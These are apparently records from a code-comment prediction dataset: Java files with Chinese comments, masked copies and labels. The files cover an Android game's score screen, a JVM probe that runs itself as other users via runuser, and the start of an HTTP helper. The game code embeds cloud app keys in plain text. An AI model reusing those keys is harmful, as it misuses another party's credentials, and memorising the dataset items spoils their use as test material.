.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Dialog.dismiss(); } }); try { File fr=new File("/mnt/sdcard/zjfb_level.txt"); if(fr.isFile() && fr.exists()){ //判断文件是否存在 InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK"); BufferedReader bufferedReader = new BufferedReader(read); level_code =Integer.parseInt( bufferedReader.readLine()); read.close(); level_code=level_code+20; try { FileWriter fi=new FileWriter("/mnt/sdcard/zjfb_level.txt"); } catch (IOException e) {} BufferedWriter fw = null; try { File ft=new File("/mnt/sdcard/zjfb_level.txt"); fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(ft, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常 fw.append(level_code+""); fw.newLine(); fw.flush(); } catch (Exception e) { e.printStackTrace(); } finally { if (fw != null) { try { fw.close(); } catch (IOException e) { e.printStackTrace(); } } } } }catch (Exception e) {} try { FileWriter fk=new FileWriter("/mnt/sdcard/zjfb_a_"+weishu+".txt"); } catch (IOException e) {} } try { File fr=new File("/mnt/sdcard/zjfb_user.txt"); if(fr.isFile() && fr.exists()){ //判断文件是否存在 InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK"); BufferedReader bufferedReader = new BufferedReader(read); user=bufferedReader.readLine(); read.close(); } }catch (Exception e) {} if(user!="null") { AVAnalytics.trackAppOpened(getIntent()); AVOSCloud.initialize(section_2_result.this, "li8gesgfo0c3xky7br5ziclfsnh5mpxk5c6og2e7sr8kt9au", "uxdxh7ctrq5v9ahvbox1h3tm0ra66p4822fsexx6lm8358ns"); AVObject score = new AVObject("high_score2"); score.put("Value",score_+""); score.put("Player",user+""); score.saveInBackground(); } try { File fr=new File("/mnt/sdcard/zjfb_least2.txt"); if(fr.isFile() && fr.exists()){ //判断文件是否存在 InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK"); BufferedReader bufferedReader = new BufferedReader(read); int least =Integer.parseInt( bufferedReader.readLine()); read.close(); if(least<score_) { final AlertDialog Dialog = new AlertDialog.Builder(section_2_result.this).create(); Dialog.show(); Dialog.getWindow().setContentView(R.layout.dialogup); Dialog.getWindow().findViewById(R.id.dialogupButton1) .setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Intent pp1=new Intent(); pp1.setClass(section_2_result.this,upload2.class); Bundle bundle= new Bundle(); bundle.putInt("result_s2",score_); Bundle bundle2= new Bundle(); bundle.putString("player",user); pp1.putExtras(bundle); pp1.putExtras(bundle2); startActivity(pp1); finish(); Dialog.dismiss(); } }); Dialog.getWindow().findViewById(R.id.dialogupButton2) .setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Intent pp=new Intent(); pp.setClass(section_2_result.this,start.class); startActivity(pp); Dialog.dismiss(); finish(); } }); } } } catch (Exception e) { e.printStackTrace(); } try { File fr=new File("/mnt/sdcard/zjfb_whiteblocks.txt"); if(fr.isFile() && fr.exists()){ //判断文件是否存在 InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK"); BufferedReader bufferedReader = new BufferedReader(read); num =Integer.parseInt( bufferedReader.readLine()); read.close(); whiteblocks=num+whiteblocks; try { FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_whiteblocks.txt"); } catch (IOException e) {} BufferedWriter fw = null; try { File ft=new File("/mnt/sdcard/zjfb_whiteblocks.txt"); fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(ft, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常 fw.append(whiteblocks+""); fw.newLine(); fw.flush(); } catch (Exception e) { e.printStackTrace(); } finally { if (fw != null) { try { fw.close(); } catch (IOException e) { e.printStackTrace(); } } } } } catch (Exception e) {} try { File fr=new File("/mnt/sdcard/zjfb_redstar.txt"); if(fr.isFile() && fr.exists()){ //判断文件是否存在 InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK"); BufferedReader bufferedReader = new BufferedReader(read); num =Integer.parseInt( bufferedReader.readLine()); read.close(); red=num+red; try { FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_redstar.txt"); } catch (IOException e) {} BufferedWriter fw = null; try { File ft=new File("/mnt/sdcard/zjfb_redstar.txt"); fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(ft, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常 fw.append(red+""); fw.newLine(); fw.flush(); } catch (Exception e) { e.printStackTrace(); } finally { if (fw != null) { try { fw.close(); } catch (IOException e) { e.printStackTrace(); } } } } } catch (Exception e) {} try { File fr=new File("/mnt/sdcard/zjfb_yellowstar.txt"); if(fr.isFile() && fr.exists()){ //判断文件是否存在 InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK"); BufferedReader bufferedReader = new BufferedReader(read); num =Integer.parseInt( bufferedReader.readLine()); read.close(); yellow=num+yellow; try { FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_yellowstar.txt"); } catch (IOException e) {} BufferedWriter fw = null; try { File ft=new File("/mnt/sdcard/zjfb_yellowstar.txt"); fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(ft, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常 fw.append(yellow+""); fw.newLine(); fw.flush(); } catch (Exception e) { e.printStackTrace(); } finally { if (fw != null) { try { fw.close(); } catch (IOException e) { e.printStackTrace(); } } } } } catch (Exception e) {} } }
0HugoHu/FingerStorm
src/com/hyd/zjfb/section_2_result.java
7,214
//判断文件是否存在
line_comment
zh-cn
package com.hyd.zjfb; import android.app.*; import android.content.*; import android.os.*; import android.util.*; import android.view.*; import android.view.View.*; import android.widget.*; import com.avos.avoscloud.*; import java.io.*; public class section_2_result extends Activity { private int score,score_,lineTxt_,gt; private Button e,f; private int level_code; private TextView b,c,d,g; private TextView a; private int whiteblocks=0,num,red,yellow; private String lineTxt,user; private File fd=new File("/mnt/sdcard/zjfb_present_0.txt"); private File fs=new File("/mnt/sdcard/zjfb_present_1.txt"); private File fp=new File("/mnt/sdcard/zjfb_present_2.txt"); private File fo=new File("/mnt/sdcard/zjfb_present_3.txt"); @Override public void onCreate(Bundle savedInstanceState) { requestWindowFeature(Window.FEATURE_NO_TITLE); super.onCreate(savedInstanceState); setContentView(R.layout.section_2_result); // AVOSCloud.initialize(this, "li8gesgfo0c3xky7br5ziclfsnh5mpxk5c6og2e7sr8kt9au", "uxdxh7ctrq5v9ahvbox1h3tm0ra66p4822fsexx6lm8358ns"); Bundle bundle = this.getIntent().getExtras(); score=bundle.getInt("result_s2"); red=bundle.getInt("red"); yellow=bundle.getInt("yellow"); whiteblocks=bundle.getInt("whiteblocks"); int extra= (int) (Math.random() * (98)) + 0; score_=score+extra; e=(Button) findViewById(R.id.section1resultButton1); f=(Button) findViewById(R.id.section1resultButton2); a=(TextView) findViewById(R.id.section1resultTextView3); b=(TextView) findViewById(R.id.section1resultTextView5); c=(TextView) findViewById(R.id.section1resultTextView6); d=(TextView) findViewById(R.id.section1resultTextView7); g=(TextView) findViewById(R.id.section1resultTextView8); try { File fr=new File("/mnt/sdcard/zjfb_level.txt"); if(fr.isFile() && fr.exists()){ //判断文件是否存在 InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK"); BufferedReader bufferedReader = new BufferedReader(read); level_code =Integer.parseInt( bufferedReader.readLine()); read.close(); }}catch (Exception e){} try { File fr=new File("/mnt/sdcard/zjfb_BestRecord2.txt"); if(fr.isFile() && fr.exists()){ //判断文件是否存在 InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK"); BufferedReader bufferedReader = new BufferedReader(read); lineTxt = bufferedReader.readLine(); read.close(); } } catch (IOException e) {} lineTxt_=Integer.parseInt(lineTxt); if(score> lineTxt_) { d.setVisibility(View.VISIBLE); try { FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_BestRecord2.txt"); } catch (IOException e) {} File file=new File("/mnt/sdcard/zjfb_BestRecord2.txt"); if(file.isFile() && file.exists()){ BufferedWriter fw = null; try { fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(file, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常 fw.append(""+score); fw.newLine(); fw.flush(); } catch (Exception e) { e.printStackTrace(); } finally { if (fw != null) { try { fw.close(); } catch (IOException e) { e.printStackTrace(); } } } } } try { if(fd.isFile() && fd.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成10%"); score_=(int)(score*1.1); } } catch (Exception e) {} try { if(fs.isFile() && fs.exists()){ //判断 <SUF> g.setVisibility(View.VISIBLE); g.setText("加成3%"); score_=(int)(score*1.03); } } catch (Exception e) {} try { if(fp.isFile() && fp.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成5%"); score_=(int)(score*1.05); } } catch (Exception e) {} try { if(fo.isFile() && fo.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成20%"); score_=(int)(score*1.2); } } catch (Exception e) {} //2 if(fd.isFile() && fd.exists()&&fs.isFile() && fs.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成13%"); score_=(int)(score*1.13); } if(fd.isFile() && fd.exists()&&fp.isFile() && fp.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成15%"); score_=(int)(score*1.15); } if(fd.isFile() && fd.exists()&&fo.isFile() && fo.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成30%"); score_=(int)(score*1.3); } if(fs.isFile() && fs.exists()&&fp.isFile() && fp.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成18%"); score_=(int)(score*1.18); } if(fs.isFile() && fs.exists()&&fo.isFile() && fo.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成23%"); score_=(int)(score*1.23); } if(fo.isFile() && fo.exists()&&fp.isFile() && fp.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成25%"); score_=(int)(score*1.25); } //3 if(fd.isFile() && fd.exists()&&fp.isFile() && fp.exists()&&fs.isFile() && fs.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成18%"); score_=(int)(score*1.18); } if(fd.isFile() && fd.exists()&&fo.isFile() && fo.exists()&&fs.isFile() && fs.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成33%"); score_=(int)(score*1.33); } if(fd.isFile() && fd.exists()&&fp.isFile() && fp.exists()&&fo.isFile() && fo.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成35%"); score_=(int)(score*1.35); } if(fo.isFile() && fo.exists()&&fp.isFile() && fp.exists()&&fs.isFile() && fs.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成28%"); score_=(int)(score*1.28); } //4 if(fd.isFile() && fd.exists()&&fp.isFile() && fp.exists() &&fs.isFile() && fs.exists()&&fo.isFile() && fo.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成38%"); score_=(int)(score*1.38); } //得分 a.setText(score_+""); // a.setText(whiteblocks+""); if(score<7000) { b.setText("☆☆☆☆☆"); c.setText("你逗我玩呢是吧→_→"); } if(score>=7000&&score<11000) { b.setText("★☆☆☆☆"); c.setText("我对你的手速真是醉了=_="); } if(score>=11000&&score<14000) { b.setText("★★☆☆☆"); c.setText("还要再接再厉哦!O(∩_∩)O"); } if(score>=14000&&score<17000) { b.setText("★★★☆☆"); c.setText("就差一点点啦!再试一次吧?(^_^)"); } if(score>=17000&&score<20000) { b.setText("★★★★☆"); c.setText("手速不错!厉害!\\(≧▽≦)/~"); } if(score>=20000&&score<23000) { File fz=new File("/mnt/sdcard/zjfb_a_fivet.txt"); if(fz.isFile() && fz.exists()){} else{ try { FileWriter fh=new FileWriter("/mnt/sdcard/zjfb_a_fivet.txt"); } catch (IOException e) {} final AlertDialog Dialog; Dialog = new AlertDialog.Builder(section_2_result.this).create(); Dialog.show(); Dialog.getWindow().setContentView(R.layout.dialog00); Dialog.getWindow().findViewById(R.id.dialogupButton1) .setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Dialog.dismiss(); } }); level_code=level_code+20; try { FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_level.txt"); } catch (IOException e) {} BufferedWriter fw = null; try { File ft=new File("/mnt/sdcard/zjfb_level.txt"); fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(ft, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常 fw.append(level_code+""); fw.newLine(); fw.flush(); } catch (Exception e) { e.printStackTrace(); } finally { if (fw != null) { try { fw.close(); } catch (IOException e) { e.printStackTrace(); } } } } b.setText("★★★★★"); c.setText("你已超越凡人!快去看看排行榜上的世界纪录吧!"); } if(score>=30000) { b.setText("卍卍卍卍卍"); c.setText("我对您本次成绩表示疑惑,请不要使用外挂等工具,如有下次必将重罚。@( ̄- ̄)@\n如有意见请反馈。"); } e.setOnClickListener(new OnClickListener() { @Override public void onClick(View p1) { Intent pp1=new Intent(); pp1.setClass(section_2_result.this,start.class); startActivity(pp1); finish(); } }); f.setOnClickListener(new OnClickListener() { @Override public void onClick(View p1) { Intent pp1=new Intent(); pp1.setClass(section_2_result.this,section_2.class); startActivity(pp1); finish(); } }); int num = (int) (Math.random() * 99) + 1; //num=10; if(num==10) { File fd=new File("/mnt/sdcard/zjfb_present_0.txt"); if(fd.isFile() && fd.exists()){ //判断文件是否存在 } else{ final AlertDialog Dialog; Dialog = new AlertDialog.Builder(section_2_result.this).create(); Dialog.show(); Dialog.getWindow().setContentView(R.layout.dialog1); Dialog.getWindow().findViewById(R.id.dialogupButton1) .setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Dialog.dismiss(); } }); try { FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_present_0.txt"); } catch (IOException e) {} } } if(num>10&&num<18) { File fd=new File("/mnt/sdcard/zjfb_present_1.txt"); if(fd.isFile() && fd.exists()){ //判断文件是否存在 } else{ final AlertDialog Dialog; Dialog = new AlertDialog.Builder(section_2_result.this).create(); Dialog.show(); Dialog.getWindow().setContentView(R.layout.dialog2); Dialog.getWindow().findViewById(R.id.dialogupButton1) .setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Dialog.dismiss(); } }); try { FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_present_1.txt"); } catch (IOException e) {} } } //经验值增加 try { File fr=new File("/mnt/sdcard/zjfb_level.txt"); if(fr.isFile() && fr.exists()){ //判断文件是否存在 InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK"); BufferedReader bufferedReader = new BufferedReader(read); level_code =Integer.parseInt( bufferedReader.readLine()); read.close(); level_code=level_code+3; try { FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_level.txt"); } catch (IOException e) {} BufferedWriter fw = null; try { File ft=new File("/mnt/sdcard/zjfb_level.txt"); fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(ft, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常 fw.append(level_code+""); fw.newLine(); fw.flush(); } catch (Exception e) { e.printStackTrace(); } finally { if (fw != null) { try { fw.close(); } catch (IOException e) { e.printStackTrace(); } } } } else{ level_code=0; try { FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_level.txt"); } catch (IOException e) {} BufferedWriter fw = null; try { File ft=new File("/mnt/sdcard/zjfb_level.txt"); fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(ft, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常 fw.append("0"); fw.newLine(); fw.flush(); } catch (Exception e) { e.printStackTrace(); } finally { if (fw != null) { try { fw.close(); } catch (IOException e) { e.printStackTrace(); } } } } } catch (Exception e) {} //判断是否达成成就 File fl=new File("/mnt/sdcard/zjfb_a_gt.txt"); try{ if(fl.isFile() && fl.exists()){ //判断文件是否存在 InputStreamReader read=new InputStreamReader(new FileInputStream(fl),"GBK"); BufferedReader bufferedReader = new BufferedReader(read); gt =Integer.parseInt( bufferedReader.readLine()); read.close(); FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_a_gt.txt"); BufferedWriter fw = null; try { fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(fl, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常 gt=gt+1; if(gt==3||gt==20||gt==100) { final AlertDialog Dialog; Dialog = new AlertDialog.Builder(section_2_result.this).create(); Dialog.show(); Dialog.getWindow().setContentView(R.layout.dialog00); Dialog.getWindow().findViewById(R.id.dialogupButton1) .setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Dialog.dismiss(); } }); try { File fr=new File("/mnt/sdcard/zjfb_level.txt"); if(fr.isFile() && fr.exists()){ //判断文件是否存在 InputStreamReader read2=new InputStreamReader(new FileInputStream(fr),"GBK"); BufferedReader bufferedReader2 = new BufferedReader(read2); level_code =Integer.parseInt( bufferedReader2.readLine()); read2.close(); if(gt==3) level_code=level_code+20; if(gt==20) level_code=level_code+50; if(gt==100) level_code=level_code+200; try { FileWriter fg=new FileWriter("/mnt/sdcard/zjfb_level.txt"); } catch (IOException e) {} BufferedWriter fy = null; try { File fg=new File("/mnt/sdcard/zjfb_level.txt"); fy = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(fg, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常 fy.append(level_code+""); fy.newLine(); fy.flush(); } catch (Exception e) { e.printStackTrace(); } finally { if (fy != null) { try { fy.close(); } catch (IOException e) { e.printStackTrace(); } } } } }catch (Exception e) {} } fw.append(gt+""); fw.newLine(); fw.flush(); } catch (Exception e) { e.printStackTrace(); } finally { if (fw != null) { try { fw.close(); } catch (IOException e) { e.printStackTrace(); } } } }} catch (IOException e) {} int weishu=score_%10; File fd=new File("/mnt/sdcard/zjfb_a_"+weishu+".txt"); if(fd.isFile() && fd.exists()){ //判断文件是否存在 } else{ final AlertDialog Dialog; Dialog = new AlertDialog.Builder(section_2_result.this).create(); Dialog.show(); Dialog.getWindow().setContentView(R.layout.dialog00); Dialog.getWindow().findViewById(R.id.dialogupButton1) .setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Dialog.dismiss(); } }); try { File fr=new File("/mnt/sdcard/zjfb_level.txt"); if(fr.isFile() && fr.exists()){ //判断文件是否存在 InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK"); BufferedReader bufferedReader = new BufferedReader(read); level_code =Integer.parseInt( bufferedReader.readLine()); read.close(); level_code=level_code+20; try { FileWriter fi=new FileWriter("/mnt/sdcard/zjfb_level.txt"); } catch (IOException e) {} BufferedWriter fw = null; try { File ft=new File("/mnt/sdcard/zjfb_level.txt"); fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(ft, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常 fw.append(level_code+""); fw.newLine(); fw.flush(); } catch (Exception e) { e.printStackTrace(); } finally { if (fw != null) { try { fw.close(); } catch (IOException e) { e.printStackTrace(); } } } } }catch (Exception e) {} try { FileWriter fk=new FileWriter("/mnt/sdcard/zjfb_a_"+weishu+".txt"); } catch (IOException e) {} } try { File fr=new File("/mnt/sdcard/zjfb_user.txt"); if(fr.isFile() && fr.exists()){ //判断文件是否存在 InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK"); BufferedReader bufferedReader = new BufferedReader(read); user=bufferedReader.readLine(); read.close(); } }catch (Exception e) {} if(user!="null") { AVAnalytics.trackAppOpened(getIntent()); AVOSCloud.initialize(section_2_result.this, "li8gesgfo0c3xky7br5ziclfsnh5mpxk5c6og2e7sr8kt9au", "uxdxh7ctrq5v9ahvbox1h3tm0ra66p4822fsexx6lm8358ns"); AVObject score = new AVObject("high_score2"); score.put("Value",score_+""); score.put("Player",user+""); score.saveInBackground(); } try { File fr=new File("/mnt/sdcard/zjfb_least2.txt"); if(fr.isFile() && fr.exists()){ //判断文件是否存在 InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK"); BufferedReader bufferedReader = new BufferedReader(read); int least =Integer.parseInt( bufferedReader.readLine()); read.close(); if(least<score_) { final AlertDialog Dialog = new AlertDialog.Builder(section_2_result.this).create(); Dialog.show(); Dialog.getWindow().setContentView(R.layout.dialogup); Dialog.getWindow().findViewById(R.id.dialogupButton1) .setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Intent pp1=new Intent(); pp1.setClass(section_2_result.this,upload2.class); Bundle bundle= new Bundle(); bundle.putInt("result_s2",score_); Bundle bundle2= new Bundle(); bundle.putString("player",user); pp1.putExtras(bundle); pp1.putExtras(bundle2); startActivity(pp1); finish(); Dialog.dismiss(); } }); Dialog.getWindow().findViewById(R.id.dialogupButton2) .setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Intent pp=new Intent(); pp.setClass(section_2_result.this,start.class); startActivity(pp); Dialog.dismiss(); finish(); } }); } } } catch (Exception e) { e.printStackTrace(); } try { File fr=new File("/mnt/sdcard/zjfb_whiteblocks.txt"); if(fr.isFile() && fr.exists()){ //判断文件是否存在 InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK"); BufferedReader bufferedReader = new BufferedReader(read); num =Integer.parseInt( bufferedReader.readLine()); read.close(); whiteblocks=num+whiteblocks; try { FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_whiteblocks.txt"); } catch (IOException e) {} BufferedWriter fw = null; try { File ft=new File("/mnt/sdcard/zjfb_whiteblocks.txt"); fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(ft, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常 fw.append(whiteblocks+""); fw.newLine(); fw.flush(); } catch (Exception e) { e.printStackTrace(); } finally { if (fw != null) { try { fw.close(); } catch (IOException e) { e.printStackTrace(); } } } } } catch (Exception e) {} try { File fr=new File("/mnt/sdcard/zjfb_redstar.txt"); if(fr.isFile() && fr.exists()){ //判断文件是否存在 InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK"); BufferedReader bufferedReader = new BufferedReader(read); num =Integer.parseInt( bufferedReader.readLine()); read.close(); red=num+red; try { FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_redstar.txt"); } catch (IOException e) {} BufferedWriter fw = null; try { File ft=new File("/mnt/sdcard/zjfb_redstar.txt"); fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(ft, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常 fw.append(red+""); fw.newLine(); fw.flush(); } catch (Exception e) { e.printStackTrace(); } finally { if (fw != null) { try { fw.close(); } catch (IOException e) { e.printStackTrace(); } } } } } catch (Exception e) {} try { File fr=new File("/mnt/sdcard/zjfb_yellowstar.txt"); if(fr.isFile() && fr.exists()){ //判断文件是否存在 InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK"); BufferedReader bufferedReader = new BufferedReader(read); num =Integer.parseInt( bufferedReader.readLine()); read.close(); yellow=num+yellow; try { FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_yellowstar.txt"); } catch (IOException e) {} BufferedWriter fw = null; try { File ft=new File("/mnt/sdcard/zjfb_yellowstar.txt"); fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(ft, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常 fw.append(yellow+""); fw.newLine(); fw.flush(); } catch (Exception e) { e.printStackTrace(); } finally { if (fw != null) { try { fw.close(); } catch (IOException e) { e.printStackTrace(); } } } } } catch (Exception e) {} } }
0
39286_3
package runuser; import common.CommonUtil; import entity.RunUserInfo; import java.io.*; import java.util.ArrayList; import java.util.List; /** * 主要用于多用户的处理 */ public class RunHandle { /** * 获取运行的结果 封装了处理多路径的情况 * @return */ public static List<RunUserInfo> getUser() { // 实测发现有的linux版本获取的临时目录不会加/ String usetmp = System.getProperty("java.io.tmpdir").endsWith("/") ? System.getProperty("java.io.tmpdir") : System.getProperty("java.io.tmpdir")+"/"; List<RunUserInfo> runUserList = new ArrayList<RunUserInfo>(); if (!"/tmp/".equals(usetmp)) { getRunUserlist(usetmp,runUserList); } getRunUserlist("/tmp/",runUserList); return runUserList; } /** * jvm通常都是多权限运行的,为了解决权限不同的隔离问题,按照linux下面大部分的特性,在/tmp/目录寻找运行过jvm的用户 * 可能会有偶尔的状况更改了tmp目录,在此不做操作默认为/tmp/(主要是每个用户的tmp可能 不好获取,但是基本没人改这个) * 2019年08月27日19:20:25 打脸了,我的mac就不在这个目录,所以改成了原始执行用户的use目录 + /tmp/ (方便兼容) */ public static void getRunUserlist(String path, List<RunUserInfo> runUserList) { try { File jvmTmpDir = new File(path); for (File tmpfile : jvmTmpDir.listFiles()) { if (tmpfile.getName().startsWith("hsperfdata_")) { RunUserInfo runUserInfo = new RunUserInfo(); runUserInfo.setUserName(tmpfile.getName().replace("hsperfdata_","")); for (File usertmp : tmpfile.listFiles()) { runUserInfo.getUserPid().add(usertmp.getName()); } runUserList.add(runUserInfo); } } } catch (Exception e) { CommonUtil.writeStr("/tmp/jvm_error.txt","zzz\t" + e.getMessage()); System.out.println(e.getMessage()); } } /** * 垃圾的监测 windwos没测 直接干死 */ public static void checkOS() { if (System.getProperty("os.name").toLowerCase().indexOf("windows") > -1) { System.out.println("不支持Windows系统!"); System.exit(0); } } /** * 执行分用户hook 其实应该做一个runuser的监测 但是我懒,并且我司内网主机架构比较统一基本都安装了 * @param user */ public static void runHookCommand(String user) { try { String[] commd = { "runuser", "-c", "java -jar JavaProbe.jar " + user, user}; Runtime rt = Runtime.getRuntime(); Process proc = rt.exec(commd); InputStreamReader isr = new InputStreamReader(proc.getErrorStream()); BufferedReader br = new BufferedReader(isr); String line = null; System.out.println("RunUser:\t" + user); while ((line = br.readLine()) != null) { System.out.println(line); } br.close(); isr.close(); } catch (Exception e) { CommonUtil.writeStr("/tmp/jvm_error.txt","fff\t" + e.getMessage()); System.out.println(e.getMessage()); } } }
0Kee-Team/JavaProbe
JavaProbe/src/runuser/RunHandle.java
863
/** * jvm通常都是多权限运行的,为了解决权限不同的隔离问题,按照linux下面大部分的特性,在/tmp/目录寻找运行过jvm的用户 * 可能会有偶尔的状况更改了tmp目录,在此不做操作默认为/tmp/(主要是每个用户的tmp可能 不好获取,但是基本没人改这个) * 2019年08月27日19:20:25 打脸了,我的mac就不在这个目录,所以改成了原始执行用户的use目录 + /tmp/ (方便兼容) */
block_comment
zh-cn
package runuser; import common.CommonUtil; import entity.RunUserInfo; import java.io.*; import java.util.ArrayList; import java.util.List; /** * 主要用于多用户的处理 */ public class RunHandle { /** * 获取运行的结果 封装了处理多路径的情况 * @return */ public static List<RunUserInfo> getUser() { // 实测发现有的linux版本获取的临时目录不会加/ String usetmp = System.getProperty("java.io.tmpdir").endsWith("/") ? System.getProperty("java.io.tmpdir") : System.getProperty("java.io.tmpdir")+"/"; List<RunUserInfo> runUserList = new ArrayList<RunUserInfo>(); if (!"/tmp/".equals(usetmp)) { getRunUserlist(usetmp,runUserList); } getRunUserlist("/tmp/",runUserList); return runUserList; } /** * jvm <SUF>*/ public static void getRunUserlist(String path, List<RunUserInfo> runUserList) { try { File jvmTmpDir = new File(path); for (File tmpfile : jvmTmpDir.listFiles()) { if (tmpfile.getName().startsWith("hsperfdata_")) { RunUserInfo runUserInfo = new RunUserInfo(); runUserInfo.setUserName(tmpfile.getName().replace("hsperfdata_","")); for (File usertmp : tmpfile.listFiles()) { runUserInfo.getUserPid().add(usertmp.getName()); } runUserList.add(runUserInfo); } } } catch (Exception e) { CommonUtil.writeStr("/tmp/jvm_error.txt","zzz\t" + e.getMessage()); System.out.println(e.getMessage()); } } /** * 垃圾的监测 windwos没测 直接干死 */ public static void checkOS() { if (System.getProperty("os.name").toLowerCase().indexOf("windows") > -1) { System.out.println("不支持Windows系统!"); System.exit(0); } } /** * 执行分用户hook 其实应该做一个runuser的监测 但是我懒,并且我司内网主机架构比较统一基本都安装了 * @param user */ public static void runHookCommand(String user) { try { String[] commd = { "runuser", "-c", "java -jar JavaProbe.jar " + user, user}; Runtime rt = Runtime.getRuntime(); Process proc = rt.exec(commd); InputStreamReader isr = new InputStreamReader(proc.getErrorStream()); BufferedReader br = new BufferedReader(isr); String line = null; System.out.println("RunUser:\t" + user); while ((line = br.readLine()) != null) { System.out.println(line); } br.close(); isr.close(); } catch (Exception e) { CommonUtil.writeStr("/tmp/jvm_error.txt","fff\t" + e.getMessage()); System.out.println(e.getMessage()); } } }
1
6749_34
package com.opslab.helper; import com.opslab.Opslab; import com.opslab.useful.SSLmiTM; import javax.net.ssl.HostnameVerifier; import javax.net.ssl.HttpsURLConnection; import javax.net.ssl.SSLSession; import java.io.*; import java.net.HttpURLConnection; import java.net.URL; /** * 封装常见的HTTP方法 */ public final class HttpHelper { /** * 发起http的get请求 * * @param httpurl * @return */ public static String sendGet(String httpurl) { HttpURLConnection connection = null; InputStream is = null; BufferedReader br = null; String result = null;// 返回结果字符串 try { // 创建远程url连接对象 URL url = new URL(httpurl); // 通过远程url连接对象打开一个连接,强转成httpURLConnection类 connection = (HttpURLConnection) url.openConnection(); // 设置连接方式:get connection.setRequestMethod("GET"); // 设置连接主机服务器的超时时间:15000毫秒 connection.setConnectTimeout(15000); // 设置读取远程返回的数据时间:60000毫秒 connection.setReadTimeout(60000); // 发送请求 connection.connect(); // 通过connection连接,获取输入流 if (connection.getResponseCode() == 200) { is = connection.getInputStream(); // 封装输入流is,并指定字符集 br = new BufferedReader(new InputStreamReader(is, Opslab.UTF_8)); // 存放数据 StringBuilder sbf = new StringBuilder(); String temp = null; while ((temp = br.readLine()) != null) { sbf.append(temp); sbf.append("\r\n"); } result = sbf.toString(); } } catch (Exception e) { e.printStackTrace(); } finally { // 关闭资源 if (null != br) { try { br.close(); } catch (IOException e) { e.printStackTrace(); } } if (null != is) { try { is.close(); } catch (IOException e) 